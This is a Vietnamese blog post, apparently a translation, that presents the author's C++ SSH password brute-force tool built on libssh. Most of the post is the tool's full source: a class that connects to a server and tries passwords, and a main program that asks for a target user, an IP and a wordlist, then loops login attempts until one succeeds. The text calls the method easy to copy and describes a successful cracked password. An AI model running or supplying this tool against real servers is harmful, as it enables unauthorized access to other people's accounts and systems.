SSH Bruteforcing với C++
Giới thiệu
Chào mừng bạn đến với bài viết mới của tôi, hôm nay tôi sẽ cho bạn thấy tập lệnh C++ của tôi để thực hiện các cuộc tấn công SSH Brute Force.
Brute Force là gì?
Thông tin bởi:
Tấn công vét cạn là một phương pháp hack sử dụng phương pháp thử và sai để bẻ khóa mật khẩu, thông tin đăng nhập và khóa mã hóa. Đây là một chiến thuật đơn giản nhưng đáng tin cậy để giành quyền truy cập trái phép vào tài khoản cá nhân cũng như hệ thống và mạng của tổ chức. Tin tặc thử nhiều tên người dùng và mật khẩu, thường sử dụng máy tính để kiểm tra một loạt các kết hợp, cho đến khi chúng tìm thấy thông tin đăng nhập chính xác.
Cái tên “brute force” xuất phát từ việc những kẻ tấn công sử dụng các nỗ lực quá mạnh để giành quyền truy cập vào tài khoản người dùng. Mặc dù là một phương pháp tấn công mạng cũ, các cuộc tấn công vũ phu đã được thử và kiểm tra và vẫn là một chiến thuật phổ biến với tin tặc.
Trong bài viết đã xuất bản trước đây này, tôi đã cung cấp một cái nhìn tổng quan ngắn gọn về Hydra và cách thức hoạt động của nó đối với SSH bruteforcing:
Hydra — BruteForce
Mã số
Đây là thời điểm tốt để xem đoạn mã mà tôi đã sử dụng để tấn công các máy chủ SSH bằng C++. Dưới đây là một đoạn trích của tệp lớp cho PoC này:
#include <iostream>
#include <string>
#include <libssh/libssh.h>
#include "Utils/ColorClass.h"
using namespace std;
class SSHHost{
public:
string ip;
string user;
SSHHost(string ip,string user){
this->ip = ip;
this->user = user;
}
ssh_session SSHConnection(string ip, string user){
yellow("Connecting to SSH...\n");
ssh_session session = ssh_new();
ssh_options_set(session, SSH_OPTIONS_HOST, ip.c_str());
int rc = ssh_connect(session);
if (rc != SSH_OK){
red("\nServer connection unsuccesfull\n");
cout<<"Error: "<<ssh_get_error(session) << endl;
}
else if(rc == 0){
green("\nServer connection succesfull\n");
return session;
}
}
int SSHAuth(ssh_session session,string user,string password){
// Authentication
int rc;
rc = ssh_userauth_password(session, user.c_str(), password.c_str());
if (rc != SSH_AUTH_SUCCESS){
}
else if (rc == SSH_AUTH_SUCCESS) {
green("Authentication Completed with password: ");
cout<<password<<"\n";
}
return rc;
}
};
#include <iostream>
#include <string>
#include <thread>
#include <vector>
#include "Host.h"
#include "Utils/WordlistToVector.h"
using namespace std;
int main(){
ssh_session session;
int check;
string ip;
string user;
string file;
cout<<"Put the user to attack: ";
cin>>user;
cout<<"Put the IP of SSH Server to attack: ";
cin>>ip;
cout<<"Put the Path of Wordlist File: ";
cin>>file;
vector<string> passwords = readPasswordsFromFile(file);
SSHHost ssh_host(ip,user);
session = ssh_host.SSHConnection(ssh_host.ip,ssh_host.user);
for (int i = 0; i < passwords.size(); i++) {
cout<<passwords[i]<<"\n";
}
for (int i = 0; i < passwords.size(); i++) {
check = ssh_host.SSHAuth(session,ssh_host.user,passwords[i]);
if(check == SSH_AUTH_SUCCESS){
ssh_disconnect(session);
break;
}}
return 0;
}
Tệp chính, yêu cầu thông tin về người dùng và địa chỉ IP để tấn công, sau đó nó thực thi các chức năng khác.
Các chức năng khác nằm trong tệp lớp SSHHost và có hai thuộc tính, người dùng và IP.
Sau đó, có phương thức khởi tạo, phương thức SSHConnection và SSHAuth . SSHConnection trả về một phiên sử dụng SSHAuth .
PoC
Chạy tập lệnh và trả lời lời nhắc của người dùng tương ứng:
Các bước đi kèm với phương thức tấn công này rất dễ sao chép và là một phương thức tấn công hợp lệ trong thế giới mạng hiện đại.
Đầu ra ở trên hiển thị một mật khẩu được phát hiện, cho biết một cuộc tấn công vũ phu thành công…
kết luận
Đây là một trong những tập lệnh tấn công đầu tiên của tôi sử dụng Lớp và Đối tượng. Cảm ơn bạn đã đọc bài viết của tôi. Tôi hy vọng bạn thích nội dung!
S12.

![Dù sao thì một danh sách được liên kết là gì? [Phần 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































